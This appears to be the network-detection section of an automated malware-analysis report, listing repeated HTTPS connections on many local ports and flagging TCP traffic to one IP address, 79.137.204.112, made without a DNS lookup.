Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031

Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
Source: unknown	TCP traffic detected without corresponding DNS query: 79.137.204.112
